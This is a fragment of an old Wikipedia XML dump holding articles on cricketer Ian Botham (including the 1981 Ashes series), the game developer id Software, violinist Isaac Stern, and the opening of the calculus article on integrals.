He was renowned as a big-hitting batsman but with a surprisingly classical technique, and as a fast-medium paced [[swing bowling|swing bowler]]. In his later career after a back injury, his pace diminished to no more than a gentle medium, but he seemed to retain the knack of taking wickets regardless. 

==On the field==
A talented footballer as well as cricketer, Botham had to choose very early in his career whether to play professional [[football (soccer)|football]] or cricket. Later on, to get fit after an injury, he played for [[Scunthorpe United F.C.|Scunthorpe United]].

Botham started his [[first-class cricket|first-class]] career with [[Somerset County Cricket Club|Somerset]] in [[1974]]. He left Somerset in [[1985]] as a protest against the sacking of his friends [[Vivian Richards|Viv Richards]] and [[Joel Garner]], and played for [[Worcestershire County Cricket Club|Worcestershire]] between 1986 and [[1991]]. In [[1992]], he joined [[County Championship]] newcomers [[Durham County Cricket Club|Durham]] before retiring midway through the 1993 season, poignantly after Durham's match against the touring Australians. He also played for [[Queensland]] although his time there was tarnished by incidents in an aircraft, which also involved [[Allan Border]] and a passenger.

He made his Test debut for [[England cricket team|England]] on [[28 July]] [[1977]] in the Third Test against [[Australian cricket team|Australia ]]. He played 102 Tests, and was England [[captain]] for 12 [[Test cricket|Tests]] in [[1980]] and [[1981]]. However, he was unsuccessful in that role, with 8 draws and 4 losses although in his defence, 9 of his matches as captain were against the best team of the time, the [[West Indian cricket team|West Indies]].

His career coincided with the careers of several other great all-rounders, including [[Richard Hadlee]], [[Imran Khan]], and [[Kapil Dev]]. As a result, the 1980s is considered to be a golden era for the all-rounder. Botham's best world rankings were first and third in bowling and batting respectively.

===Records===
Ian Botham holds a number of Test records as an all-rounder, including being the fastest (in terms of matches) to achieve the &quot;doubles&quot; of 1,000 runs and 100 wickets, 2,000 runs and 200 wickets, and 3,000 runs and 300 wickets.  

He was the first player to score 5,000 runs and take 300 Test wickets, and the first to score a century and take 10 wickets in the same Test match. He scored a century and took 5 wickets in an [[innings]] in the same Test match on 5 occasions; no-one else has managed this feat more than twice.

When he retired, he held the world record for the greatest number of Test wickets, although his tally has subsequently been passed by several players.

During the [[1981]] [[The Ashes | Ashes]] (see below), Ian set a record of six sixes in a single Ashes Test Match at [[Old Trafford (cricket)|Old Trafford]].  That record remained unbroken until the 7th August [[2005]] when [[Andrew Flintoff]] scored five in the first innings and four in the second innings of the second Test at [[Edgbaston Stadium|Edgbaston]] against Australia, and again until the 12th September [[2005]], when [[Kevin Pietersen]] hit seven sixes in the second innings of the last Test at [[The Brit Oval]], again against Australia.

People also joke about his age when he became [[50]], claiming that because of his batting skill and natural love for the game of [[Cricket]], it was his slowest half-century that he's ever made.

===&quot;Botham's Ashes&quot;===
In 1980, Botham was the pre-eminent all-rounder in world cricket and was appointed captain of the England team. However, his captaincy was not a happy one; he lost form and the team did not do well (see above). There was also an incident in the 1980 centenary Test against Australia at Lord's where several frustrated Lord's pavilion members threw punches at him, after what they saw as his alliance with the umpires to unnecessarily delay play on a dry, sunny, Saturday (it had rained heavily the previous night). He resigned the captaincy after a loss and a draw in the first two Tests of the [[1981]] [[Ashes series]]; he was dismissed for a &quot;pair&quot; in the Second Test at [[Lord's Cricket Ground|Lord's]]. He returned to an embarrassed silence in the pavilion and after the previous year's events at the centenary Test, this possibly was the final straw. For the rest of his cricketing career, Botham always refused to acknowledge the pavilion members when he played at Lord's.  The Australian team was rated as second only to the great West Indies team of the time containing a formidable pace attack in the form of [[Dennis Lillee]], [[Geoff Lawson (cricketer)|Geoff Lawson]] and [[Terry Alderman]].

[[Mike Brearley]], the captain Botham had replaced, took over the reins for the Third Test scheduled for [[16 July|16]] to [[21 July]], at [[Headingley Stadium|Headingley]].  Australia won the toss and elected to bat.  They batted all day Thursday and most of Friday, declaring after tea at 401 for 9, [[John Dyson]] having made 102 and Botham having taken 6 for 96.  The England openers [[Graham Gooch]] and [[Geoff Boycott]] survived the remaining few overs, and England finished the day on 7 for no wicket.

The next day, Saturday, was a disaster for England: Gooch was out in the first over of the day, and although Boycott and Brearley then attempted to dig in, they were both out before lunch.  None of the other batsmen got going at all with the exception of Botham who top scored with 50 &amp;mdash; his first half century since his first Test as captain 13 matches earlier.  England were all out in the third session for 174.  Australia enforced the follow on and piled on the pressure, Gooch was out for 0 on the third ball of the first over caught by Terry Alderman off the bowling of Dennis Lillee. By the close, England had struggled to just 6 for 1, still 221 behind Australia.

Sunday [[19 July]] was a rest day and the papers roasted the lamentable England team.  Morale was not improved by the news that [[Ladbrokes]] were offering 500-1 against England winning the match. (Controversially, the Australian wicket keeper [[Rod Marsh]] and opening bowler Dennis Lillee both placed bets on England to win, claiming that 500-1 were silly odds on any two-horse race.)

On Monday morning the odds began to look generous, as first Brearley, then [[David Gower]] and [[Mike Gatting]] all fell cheaply to reduce England to 41 for 4.  Boycott was still anchored at the other end however and he and [[Peter Willey]] added 50 runs before lunch.  In the afternoon however, Willey was out for 33 and England were in deep trouble at 105 for 5 as Botham walked out to bat.  Matters did not improve as first Geoff Boycott and then [[Robert Taylor|Bob Taylor]] were soon dismissed.  At 135 for 7 an innings defeat looked almost certain.

By all accounts, both teams' players thought Australia would win the match.  When [[Graham Dilley]] joined him at the crease, Botham reportedly said, &quot;Right then, let's have a bit of fun...&quot;.   With able support from Dilley (56) and [[Chris Old]] (29), Botham hit out and by the close of play was 145 not out with [[Bob Willis]] hanging on at the other end on 1 not out.  England's lead was just 124 but there was hope.  On the final day's play there was time for just four more runs from Botham before Willis was out and Botham was left on 149 not out.

Willis's real contribution was with the ball however, after Botham took the first wicket Willis skittled Australia out for just 111, finishing with figures of 8 for 43.  England had won by just 18 runs, it was only the second time in history that a team following on had won a Test match.

The next Test match, at Edgbaston, looked almost as hopeless for England. In a low scoring match (no-one made a score over 48), Australia needed 151 to win. At 5-105, things looked a little worrying for them, but an Australian win was still the most likely result. Botham then took 5 wickets for 1 run in 28 balls to give England the win by 29 runs. (Later, Brearley said that Botham hadn't wanted to bowl and had to be persuaded.)

The [[Old Trafford (cricket)|Old Trafford]] Test was less of a turnaround and more of a team performance than the previous two Tests, but Botham again was England's hero, scoring 118 in what Lillee claimed was a better innings than his Headingley heroics. His sixes in this innings have themselves become a part of cricketing folklore; three of the five were from Lillee's bowling, two of them in the same over. Remarkably, even though he seemed to take his eye off the ball while hooking some fearsome Lillee bouncers, his sheer power and strength carried the ball over the boundary ropes. England won the match, then drew the last match at [[The Oval]] (Botham took 6 wickets in the first innings) to take the series 3-1.

Unsurprisingly, Botham was named man of the series, scoring 399 runs and taking 34 wickets. He was made [[BBC Sports Personality of the Year]] in [[1981]]. He is one of only four cricketers to receive the honour, the others being [[Jim Laker]] in [[1956]], [[David Steele]] in [[1975]] and [[Andrew Flintoff]] in 2005.

The turnaround at Headingley was ranked 5th in Channel 4's [[100 Greatest Sporting Moments]] in 2002.

==Off the field==
A colourful character, Botham was suspended briefly in 1986 for smoking [[cannabis (drug)|cannabis]], and his private life has occasionally made dramatic appearances in Britain's tabloid newspapers. He is married with three children. His son [[Liam Botham]] was a professional [[Rugby League]] player, playing for [[Wigan Warriors]] until his retirement in 2005 due to injury.

After retiring as a player, he became an authoritative [[television]] [[commentator]] and has participated in a number of long-distance fund-raising walks for charities. He has raised more than five million pounds, with [[Leukaemia Research]] (charity) amongst the causes which have benefited.

Botham was appointed an [[Order of the British Empire|OBE]] in [[1992]] for services to cricket and for his charity work. For several years, he was a resident team captain on the [[BBC]] [[quiz]] show &quot;[[A Question Of Sport]]&quot;, and he has also taken up offers of appearing in [[pantomime]]s during the [[Christmas]] period. In 2004, he won the [[BBC Sports Personality of the Year Lifetime Achievement Award]]. In 2003 he was made the first ever President of Leukaemia Research, the UK's leading blood cancer charity.

==Family history==
Ian Botham's father came from [[East Riding of Yorkshire|East Yorkshire]]. When Ian was young, his father was stationed with the [[Fleet Air Arm]] in Northern Ireland, before he moved to [[Yeovil]], where he worked at [[Westland Helicopters]]. Botham went to Milford Junior School, where he discovered a liking for sport, especially cricket, and played for Somerset Under-15s. He left Buckler's Mead Comprehensive School at 15, being only interested in playing cricket for Somerset, although he also had an offer to join [[Crystal Palace F.C.]]. From an early age, he always wanted his own way in a devoutly, almost religious, single-minded fashion. When informed that Ian wanted to be a sportsman, the careers master at his school said to him 'Fine, everyone wants to play sport, but what are you really going to do?'.

==External links==
* {{cricinfo|ref=ci/content/player/9163.html}}
* [http://www.cricketarchive.com Cricket Archive] 

{{5WI 25 times}}
{{English Test match double}}
{{All-rounders}}
{{start box}}
{{succession box|
 before=[[Mike Brearley]]|
 title=[[England Cricket|English national cricket captain]]|
 years=1980-1981|
 after=[[Mike Brearley]]
}}
{{succession box|title=[[BBC Sports Personality of the Year]]|before=[[Robin Cousins]] |after=[[Daley Thompson]]|years=1981}}
{{end box}}

[[Category:1955 births|Botham, Ian]]
[[Category:Living people|Botham, Ian]]
[[Category:British sports broadcasters|Botham, Ian]]
[[Category:Cricket commentators|Botham, Ian]]
[[Category:Durham cricketers|Botham, Ian]]
[[Category:English ODI cricketers|Botham, Ian]]
[[Category:English Test cricketers|Botham, Ian]]
[[Category:English all-rounders|Botham, Ian]]
[[Category:English batsmen|Botham, Ian]]
[[Category:English bowlers|Botham, Ian]]
[[Category:English cricket captains|Botham, Ian]]
[[Category:English cricketers|Botham, Ian]]
[[Category:English footballers|Botham, Ian]]
[[Category:Officers of the British Empire|Botham, Ian]]
[[Category:Queensland cricketers|Botham, Ian]]
[[Category:Scunthorpe United F.C. players|Botham, Ian]]
[[Category:Somerset cricket captains|Botham, Ian]]
[[Category:Somerset cricketers|Botham, Ian]]
[[Category:Wisden Cricketers of the Year|Botham, Ian]]
[[Category:Worcestershire cricketers|Botham, Ian]]
[[Category:Natives of Cheshire|Botham, Ian]]
[[fr:Ian Botham]]</text>
    </revision>
  </page>
  <page>
    <title>Id Software</title>
    <id>15526</id>
    <revision>
      <id>38679425</id>
      <timestamp>2006-02-07T22:55:31Z</timestamp>
      <contributor>
        <ip>192.246.40.8</ip>
      </contributor>
      <comment>Both Hall and Romero were let go from id, they didn't quit. I changed the entry to be more correct</comment>
      <text xml:space="preserve">{{lowercase|title=id Software}}

{{Infobox_Company |
  company_name   = id Software |
  company_logo   = [[Image:idlogo.jpg|180px|]] |
  company_type   = [[Private company|Private]] |
  company_slogan = N/A |
  foundation     = [[Mesquite, TX]] ([[February 1]] [[1991]]) |
  location       = [[Mesquite, TX]] |
  key_people     = [[John Carmack]], Lead Programmer&lt;br /&gt;[[John Romero]], Former Game Designer&lt;br /&gt;[[Tom Hall]], Former Game Designer&lt;br /&gt;[[Adrian Carmack]], Former Artist |
  num_employees  = 26 |
  industry       = [[Computer game]]s|
  products       = [[Wolfenstein 3D]]&lt;br /&gt;[[HeXen]]&lt;br /&gt;[[HeXen II]]&lt;br /&gt;[[Heretic (computer game)|Heretic]]&lt;br /&gt;[[Doom]]&lt;br /&gt;[[Doom II]]&lt;br /&gt;[[Doom 3]]&lt;br /&gt;[[Doom engine]]&lt;br /&gt;[[Quake]]&lt;br /&gt;[[Quake II]]&lt;br /&gt;[[Quake III Arena]]&lt;br /&gt;[[Quake 4]]&lt;br /&gt;[[Quake engine]]&lt;br /&gt;[[Commander Keen]] |
  revenue        = n/a|
  homepage       = [http://www.idsoftware.com/ www.idsoftware.com]
}}

'''id Software''' is a [[video game developer|computer game developer]] based in [[Mesquite, Texas|Mesquite]], [[Texas]], a suburb of [[Dallas, Texas|Dallas]]. The company was founded by four members of the computer company [[Softdisk]]: [[John Carmack]], a [[game programmer|programmer]], [[John Romero]] and [[Tom Hall]], [[game designer]]s, and [[Adrian Carmack]], an [[artist]].  id Software is now considered the most influential of the many game development companies in the Dallas area, known as the [[Dallas Gaming Mafia]].

Note the lower-case ''id'', which some say refers to the [[Ego, superego, and id|id]] as a psychological concept. Originally, both letters were capitals (ID Software), and came from &quot;Ideas from the Deep&quot;. The &quot;I&quot; was made lowercase in the release of the second Commander Keen series, and eventually the &quot;D&quot; was also dropped down to lowercase which, according to some changed the meaning of the company name.

The correct pronunciation of id Software is a much-argued subject. Since the original name came from &quot;Ideas from the Deep&quot;, many argue that it is an abbreviation and hence should be pronounced &quot;eye-dee&quot;. However, since both letters were changed from upper to lower case, and id Software's [http://www.idsoftware.com/business/history/ id History page] makes a direct reference to [[Sigmund_Freud|Freud]], many now argue that it is [[Ego, superego, and id|id]] as in &quot;did&quot; or &quot;kid&quot;.

==History==
The founders of id Software met in the offices of [[Softdisk]] developing multiple games for Softdisk for monthly publishing. These included [[Dangerous Dave]] and other titles. Once [[Apogee Software]] learned of the group and their exceptional talent, they recruited them, and developed the necessary titles for them to get out of their Softdisk contracts. Meanwhile, they worked on titles that would be developed under the ID Software moniker. The most successful of those outings would be ''[[Commander Keen]]''.

===''Commander Keen''===
The [[Commander Keen]] series, a [[platform game]] introducing one of the first smooth side-scrolling [[game engine]]s for the [[IBM PC compatible|PC]], brought id Software into the gaming mainstream. The game was very successful and spawned a whole series of titles. It was also the group of id Software that designer Tom Hall was most affiliated with. 

The [[shareware]] distribution method was initially employed by id Software through Apogee Software to sell their products, such as the Commander Keen, Doom and Wolfenstein games. They would release the first part of their trilogy as shareware, then sell the other two installments by mail order. Only later (about the time of the release of ''Doom II'') did id release their games via more traditional shrink-wrapped boxes in stores (through other [[video game publisher|game publishers]]).  It is likely that id Software has been the most successful shareware publisher to date.

===''Wolfenstein 3D''===
The company's breakout product was ''[[Wolfenstein 3D]]'', a [[first person shooter]] with smooth 3D graphics that were unprecedented in computer games, and with violent game play that many gamers found engaging.  After essentially founding an entire genre with this game, id created ''[[Doom]]'', ''[[Doom II]]'', ''[[Quake]]'', ''[[Quake II]]'', ''[[Quake III Arena]]'', ''[[Doom 3]]'', and ''[[Quake 4]]''.  Each of these first person shooters featured progressively higher levels of graphical technology (and progressively higher minimum system requirements).

===John Carmack===
The [[lead programmer]] for id Software is [[John Carmack]], whose skill at [[3D computer graphics|3D]] [[computer programming|programming]] is widely recognized in the software industry. He is the last of the original lead designers remaining in the company.

===Tom Hall===
[[Tom Hall]] left id Software during the early days of ''Doom'' development (but not before he had some impact: he was responsible, for example, for the inclusion of teleporters in the game).  He was let go before the shareware release of ''Doom'' and then went to work for Apogee working on ''[[Rise of the Triad]]'' with the &quot;Developers of Incredible Power&quot;. Hall has frequently commented that if id Software ever sold him the rights to ''Commander Keen'' he will immediately develop another Keen title.

===John Romero===
[[John Romero]], who was also asked to leave, left after the release of the shareware ''Quake'' to form the ill-fated [[Ion Storm]]. Having already finished his work on ''Rise of the Triad'' and not finding himself compatible with the ''[[Prey (computer game)|Prey]]'' development team at Apogee, Tom Hall left to join his ex-id compadre in this new company. 

Both Hall and Romero are seen as excellent designers and idea men who have helped shape some of the key PC gaming titles of the 1990s.

Romero now heads the [[Cyberathlete Professional League]] Board of Directors.

===''Quake''===
The release of ''Quake'' marked the second milestone in id history. ''Quake'' combined a cutting edge fully 3D engine with an excellent art style to create what was at the time regarded as a feast for the eyes. Audio was not neglected either, having recruited [[Trent Reznor]] to facilitate unique sound-effects and ambient music for the game. Furthermore, ''Quake'''s main innovation&amp;mdash;the capability to play a deathmatch (competitive gameplay between living opponents instead of against computer-run characters) over the [[Internet]] (especially through the add-on ''QuakeWorld'') seared the title into the minds of gamers as another smash hit.

===Opinion and engines===
The success of ''Quake II'', ''Quake III'' and ''Doom 3'', though financially very successful, have met some critical opposition. id's games have continued to rate well in magazines, but community opinion on the later id games is often divided, with some accusing the company of being too orthodox in their design principles, especially with ''Doom 3''. id's games have always included new revolutionary technologies, varying from graphics to netcode. 

Currently, id's &quot;game engines&quot; are [[license]]d to many other developers. This, along with Carmack's heavily orthodox FPS design ideas are two facts that have helped shape public opinion, to the point at which some in the community regard id firstly as a technology developer, and only secondly as a game developer. The price of licensing id's engines normally runs about $250,000 per title. Id releases its older game engines, such as that of ''Quake'', ''Quake II'' and ''Quake III'', under the GNU [[GPL]] for others to use free of charge (bound by the GPL license restrictions) [http://www.idsoftware.com/business/techdownloads/]. 

The source code to the ''Quake III'' engine was previously supposed to have been released around the end of 2004, which would be consistent with an apparent policy of releasing all the 3d engines under the GPL when they are over 5 years old. However, John Carmack announced that the GPL release had been put on hold in order to maintain a grace period, since the ''Quake III'' engine was still being licensed to commercial customers who would otherwise become upset over the sudden loss in value of their recent investment. The fact that software from 1999 continued to be worth considerable licensing fees by the market at least until 2004 is a testament to its quality. The ''Quake III'' source code was released under the GPL on [[August 19]], [[2005]].

In 2003, the book ''Masters of Doom'' chronicled the development of id, concentrating on the personalities and interaction of John Carmack and John Romero.

==Games by id Software==
*''[[Commander Keen]]''
**Episode 1: ''Marooned on Mars'' (1990)
**Episode 2: ''The Earth Explodes'' (1991)
**Episode 3: ''Keen Must Die'' (1991)
**''Keen Dreams'' (1991)
**Episode 4: ''Secret of the Oracle'' (1991)
**Episode 5: ''The Armageddon Machine'' (1991)
**Episode 6: ''Aliens Ate My Baby Sitter'' (1991)
*''[[Dangerous Dave|Dangerous Dave in the Haunted Mansion]]'' (1991)
*''[[Rescue Rover]]'' (1991)
*''[[Rescue Rover 2]]'' (1991)
*''[[Hovertank 3D]]'' (1991)
*''[[Catacomb 3D]]'': ''A New Dimension'' (1992) re-released as ''Catacomb 3-D: The Descent''
**''Catacomb Abyss'' (1992)
**''Catacomb Armageddon'' (1992) re-released as ''Curse of the Catacombs''
**''Catacomb Apocalypse'' (1992) re-released as ''Terror of the Catacombs''
*''[[Wolfenstein 3D]]'' (1992)
**''Spear of Destiny'' (1992)
*''[[Doom]]'' (1993)
**''The Ultimate Doom'' (1995)
*''[[Doom II: Hell on Earth]]'' (1994)
**''[[Master Levels for Doom II]]'' (1995)
**''[[Final Doom]]'' (1996)
*''[[Quake]]'' (1996)
**Mission Pack 1: ''[[Quake Mission Pack: Scourge of Armagon|Scourge of Armagon]]'' (1997) (developed by [[Hipnotic Interactive]], now known as [[Ritual Entertainment]])
**Mission Pack 2: ''Dissolution of Eternity'' (1997) (developed by [[Rogue Entertainment]])
*''[[Quake II]]'' (1997)
**Mission Pack 1: ''The Reckoning'' (1998) (developed by [[Xatrix Entertainment]], now known as [[Gray Matter Interactive]])
**Mission Pack 2: ''Ground Zero'' (1998) (developed by [[Rogue Entertainment]])
*''[[Quake III Arena]]'' (1999)
**Expansion: ''Team Arena'' (2000)
*''[[Return to Castle Wolfenstein]]'' (2001) (developed by [[Gray Matter Interactive]], multiplayer portion by [[Nerve Software]])
*''[[Wolfenstein: Enemy Territory]]'' (2003) (developed by [[Splash Damage]])
*''[[Doom 3]]'' (2004)
**Expansion: ''[[Doom 3: Resurrection of Evil|Resurrection of Evil]]'' (2005) (developed by [[Nerve Software]])
*''[[Quake 4]]'' (2005) (developed by [[Raven Software]])
*''[[Enemy Territory: Quake Wars]]'' (2006) (developed by [[Splash Damage]])

==Additional reading==
*Kushner, David (2003). ''Masters of Doom: How Two Guys Created an Empire and Transformed Pop Culture'', New York: Random House. ISBN 0375505245.

==External links==
*[http://www.idsoftware.com/ Official id Software website]
*[http://www.doomwadstation.com/gamedemos/ All The Demos], every demo of every game ever made by id Software
*[http://www.doomwadstation.com/idgames/ Doom Wad Station] User Created maps in an archive directory for every game from Wolfenstein3d to QuakeIV
*[http://www.quakecon.org/ QuakeCon.org], id Software fan site
*[http://www.spectrum.ieee.org/WEBONLY/publicfeature/aug02/id.html &quot;The Wizardry of Id&quot; article By David Kushner from IEEE Spectrum Online]
*[http://www.gamespy.com/e32002/pc/id/ &quot;A Chat With id Software&quot; - A GameSpy interview with people at id Software]
*[http://www.3drealms.com/keenhistory/ &quot;A Look Back at Commander Keen&quot; includes some details on the history of id]
*[http://idm.gesies.com/ ''id Museum''], a page dedicated to id Software 
*[http://www.assassinworks.com/ray/wolf.html A tribute to id Software]
*[http://bbs.keyhole.com/ubb/download.php?Number=190480 Google-Earth Placemark]

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      <text xml:space="preserve">'''Isaac Stern''' ([[July 21]], [[1920]] – [[September 22]], [[2001]]) is widely considered one of the finest [[violin]] [[virtuosi]] of the [[20th century|twentieth century]].

Born in [[Kremenetz]], [[Ukraine]], his family moved to [[San Francisco]] when he was ten months old. He received his first music lessons from his mother before enrolling at the [[San Francisco Conservatory of Music]] in [[1928]]. There he studied the violin with [[Nahum Blinder]].&lt;!--Source please: &quot;He felt proud to have been a student of [[Nahum Blinder]].&quot;--&gt; At his public début on [[February 18]], [[1936]] he played [[Camille Saint-Saëns|Saint-Saëns]]' [[Violin Concerto No. 3 (Saint-Saëns)|Violin Concerto No. 3]] with the [[San Francisco Symphony]] [[orchestra]], [[Conducting|conducted]] by [[Pierre Monteux]].

In [[1979]], the [[People's Republic of China|Chinese]] government invited Stern to tour and teach in their country. The film-maker [[Murray Lerner]] accompanied him and made the film ''[[From Mao to Mozart]]'', winning the [[1980]] [[Academy Award|Oscar]] for Best Documentary.

Stern became famous both for his great [[Sound recording|recording]]s and for championing younger players. Among his discoveries were the [[cellist]] [[Yo-Yo Ma]] and violinists [[Itzhak Perlman]] and [[Pinchas Zukerman]]. He also played a major role in saving [[New York City]]'s [[Carnegie Hall]] from demolition in [[1960]] and its main [[auditorium]] is now named after him.

Amongst many other recordings, Stern recorded [[concerto]]s by [[Johannes Brahms|Brahms]], [[Johann Sebastian Bach|Bach]], [[Ludwig van Beethoven|Beethoven]], [[Felix Mendelssohn|Mendelssohn]] and [[Antonio Vivaldi|Vivaldi]] and modern works by [[Samuel Barber]], [[Béla Bartók]], [[Igor Stravinsky]] and [[Leonard Bernstein]]. He also [[Dubbing|dubbed]] actors' violin-playing in several films, for example ''[[Fiddler on the Roof]]''.

==Discography==
{{listdev}}

== Awards and Recognitions ==
{{listdev}}
'''[[Grammy Award for Best Chamber Music Performance]]''':
*[[Emanuel Ax]], [[Jaime Laredo]], [[Yo-Yo Ma]] &amp; Isaac Stern for ''Brahms: Piano Quartets (Op. 25 and 26)'' ([[Grammy Awards of 1992|1992]])
*[[Eugene Istomin]], [[Leonard Rose]] &amp; Isaac Stern for ''[[Ludwig van Beethoven|Beethoven]]: The Complete Piano Trios'' ([[Grammy Awards of 1971|1971]])

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      <text xml:space="preserve">: ''This article deals with the concept of an integral in [[calculus]]. For other meanings of &quot;integral&quot; see [[integration]] and [[integral (disambiguation)]].''
{{Calculus}}
In [[calculus]], the '''integral''' of a [[function (mathematics)|function]] is a generalization of [[area (geometry)|area]], [[mass]], [[volume]] and [[summation|total]]. The process of finding integrals is '''integration''', in its mathematical meaning. Unlike the closely-related process of [[derivative|differentiation]], there are several possible definitions of integration, with different technical underpinnings. They are, however, compatible; any two different ways of integrating a function will give the same result when they are both defined.

The word &quot;integral&quot; may also refer to [[antiderivative]]s in a mild abuse of language.  Though they are closely related through the [[fundamental theorem of calculus]], the two notions are conceptually distinct.  When one wants to clarify this distinction, an antiderivative integral is referred to as an indefinite integral (a function), while the integrals discussed in this article are termed '''definite integrals'''.

Intuitively, the integral of a [[continuous function|continuous]], [[negative and non-negative numbers|positive]] real-valued function ''f'' of one real variable ''x'' between a left endpoint ''a'' and a right endpoint ''b'' represents the area bounded by the lines ''x'' = ''a'', ''x'' = ''b'', the ''x''-axis, and the curve defined by the graph of ''f''.  More formally, if we let 
:&lt;math&gt; S= \{(x,y) \in \mathbb{R}^2:a \leq x \leq b ,0 \leq y \leq f(x)\}, &lt;/math&gt;

then the integral of ''f'' between ''a'' and ''b'' is the [[Measure (mathematics)|measure]] of ''S''.

[[Leibniz]] introduced the standard [[long s]] notation for the integral.  The integral of the previous paragraph would be written &lt;math&gt;\int_a^b f(x)\,dx&lt;/math&gt;.  The &amp;int; sign represents integration, ''a'' and ''b'' are the endpoints of the [[interval]], ''f(x)'' is the function we are integrating, and ''dx'' is a notation for the variable of integration.  Historically, ''dx'' represented an [[infinitesimal]] quantity, and the long s stood for &quot;sum&quot;.  However, modern theories of integration are built from different foundations, and the traditional symbols have become no more than [[Mathematical notation|notation]]. 

As an example, if ''f'' is the [[mathematical constant|constant]] function ''f''(''x'') = 3, then the integral of ''f'' between 0 and 10 is the area of the rectangle bounded by the lines ''x'' = 0, ''x'' = 10, ''y'' = 0, and ''y'' = 3.  The area is the width of the rectangle times its height, so the value of the integral is 30.

Integrals can be taken over regions other than intervals.  In general, the integral over a [[set]] ''E'' of a function ''f'' is written &amp;int;&lt;sub&gt;''E''&lt;/sub&gt;''f''(''x'')&amp;nbsp;''dx''.  Here ''x'' need not be a real number, but, for instance, a [[vector (spatial)|vector]] in '''R'''&lt;sup&gt;3&lt;/sup&gt;.  [[Fubini's theorem]] shows that such integrals can be rewritten as an iterated integral.  In other words, the integral can be calculated by integrating one coordinate at a time.

[[Image:Integral as region under curve.png|thumb|250px|The integral of ''f''(''x'') is the area between the curve ''y'' = ''f''(''x'') and the ''x''-axis in the interval [''a'', ''b''].]]
If a function has an integral, it is said to be ''integrable''. The function for which the integral is calculated is called the '''integrand'''. Integrals result in a number, not another function. If the domain of the function to be integrated is the [[real number]]s, and if the region of integration is an [[interval (mathematics)|interval]], then the [[infimum|greatest lower bound]] of the interval is called the ''lower limit of integration'', and the [[supremum|least upper bound]] is called the ''upper limit of integration''.

[[Image:Areabetweentwographs.png|thumb|287px|Finding the area between two curves.]]

== Computing integrals ==
The most basic technique for computing integrals of one real variable is based on the [[fundamental theorem of calculus]].  It proceeds like this:
# Choose a function ''f(x)'' and an interval [''a'',''b''].
# Find an [[antiderivative]] of ''f'', that is, a function ''F'' such that ''F' '' = ''f''.
# By the fundamental theorem of calculus, provided the integrand and integral have no singularities on the path of integration, &lt;math&gt;\int_a^b f(x)\,dx = F(b)-F(a)&lt;/math&gt;.
# Therefore the value of the integral is ''F(b) − F(a)''.

Note that the integral is not actually the antiderivative, but the fundamental theorem allows us to use antiderivatives to evaluate definite integrals.

The difficult step is finding an antiderivative of ''f''.  It is rarely possible to glance at a function and write down its antiderivative.  More often, it is necessary to use one of the many techniques that have been developed to evaluate integrals.  Most of these techniques rewrite one integral as a different one which is hopefully more tractable.  Techniques include:
* [[Integration by substitution|Integration by substitution]]
* [[Integration by parts]]
* [[trigonometric substitution|Integration by trigonometric substitution]]
* [[Partial fractions in integration|Integration by partial fractions]]

Even if these techniques fail, it may still be possible to evaluate a given integral.  The next most common technique is [[Residue (complex analysis)|residue calculus]].  There are also many less common ways of calculating definite integrals; for instance, [[Parseval's identity]] can be used to transform an integral over a rectangular region into an infinite sum.  Occasionally, an integral can be evaluated by a trick; for an example of this, see [[Gaussian integral]].

Computations of volumes of [[solid of revolution|solids of revolution]] can usually be done with [[disk integration]] or [[shell integration]].

Specific results which have been worked out by various techniques are collected in the [[list of integrals]].

=== Approximation of definite integrals ===
Definite integrals may be approximated using several methods of [[numerical integration]]. One popular method, called the [[rectangle method]], relies on dividing the region under the function into a series of rectangles and finding the sum.  Other well-known methods are the [[trapezoidal rule]] and [[Simpson's rule]].

Some integrals cannot be found exactly, and others are so complex that finding the exact answer would be extremely time-consuming or computationally-intensive. Approximation, however, is a process which relies only on variable substitution, multiplication, addition, and [[division (mathematics)|division]]. It can be done easily and quickly by modern graphing calculators and computers. Many real-world applications of calculus rely on calculating integrals approximately because of the complexity of formulas and since an exact answer is unnecessary.

=== Integrals and computerized algebra systems ===
Many professionals, educators, and students now use [[computerized algebra systems]] to make difficult (or simply tedious) algebra and calculus problems easier. The design of such a computer algebra system is nontrivial as systematic methods of antidifferentiation are difficult to formulate, although in many cases a definite integral can be computed without finding an antiderivative.

One difficulty in computing definite integrals is that it is not always possible to find &quot;[[closed-form expression|explicit formulae]]&quot; for antiderivatives. For instance, there is a (nontrivial) proof that there is no nice function (e.g., involving sin, cos, exp, [[polynomial]]s, roots and so on) whose derivative is ''x''&lt;sup&gt;''x''&lt;/sup&gt;. As such, computerized algebra systems have no hope of being able to find an antiderivative for this particular function. Unfortunately, functions that have nice antiderivatives are the exception. If one writes a large random expression involving [[exponential function|exponentials]] and polynomials, the odds are almost nil that it will have an antiderivative. (This statement can be made formal, but it is difficult to do so.)

One of the difficulties is to decide what set of functions to use as building blocks for antiderivatives. Usually, we need a set of antiderivatives closed under, say, multiplication and composition. This set of antiderivatives should also include polynomials, perhaps quotients, exponentials, [[logarithm]]s, sines and [[cosine]]s. The [[Risch-Norman algorithm]] is able to compute any integral of such a shape; that is, if the antiderivative involves polynomials, sines, cosines, etc..., the Risch-Norman algorithm will be able to compute it. Extended versions of this algorithm are implemented in [[Mathematica]] and the [[Maple computer algebra system]].

Some special integrands occur often enough to warrant special study. In particular, it may be useful to have, in the set of antiderivatives, the [[special functions]] of [[physics]] (like the [[Legendre function]]s, the [[hypergeometric function]], the [[Gamma function]] and so on). Extending the Risch-Norman algorithm so that it includes these functions is possible but challenging.

Most humans are not able to integrate such general formulae, so in a sense computers are more skilled at integrating highly complicated formulae. On the other hand, very complex formulae are unlikely to have closed-form antiderivatives, so this advantage is dubious.

== Improper integrals ==
Not all integrals can be evaluated using a single limit process.  An integral which can only be evaluated by considering it as the limit of integrals on successively larger and larger intervals is called an '''[[improper integral]]'''.  Improper integrals usually turn up when the [[range of a function|range]] of the function to be integrated is infinite or, in the case of the [[Riemann integral]], when the [[domain of a function|domain]] of the function is infinite.  One common example of an improper integral is the [[Cauchy principal value]].

== Definitions of the integral ==
The most important integrals are the [[Riemann integral]] and the [[Lebesgue integral]].  The Riemann integral was created by [[Bernhard Riemann]] in [[1854]] and was the first [[rigor]]ous definition of the integral.  The Lebesgue integral was created by [[Henri Lebesgue]] to integrate a wider class of functions and to prove very strong [[theorem]]s about interchanging [[limit]]s and integrals (see Lebesgue's [[dominated convergence theorem]]).

Although the Riemann and Lebesgue integrals are the most important ones, a number of others exist, including but not limited to:
* The [[Daniell integral]].
* The [[Darboux integral]], a variation of the Riemann integral.
* The [[Denjoy integral]] (also known as the [[Henstock-Kurzweil integral]]), an extension of both the Riemann and Lebesgue integrals.
* The [[Haar integral]].
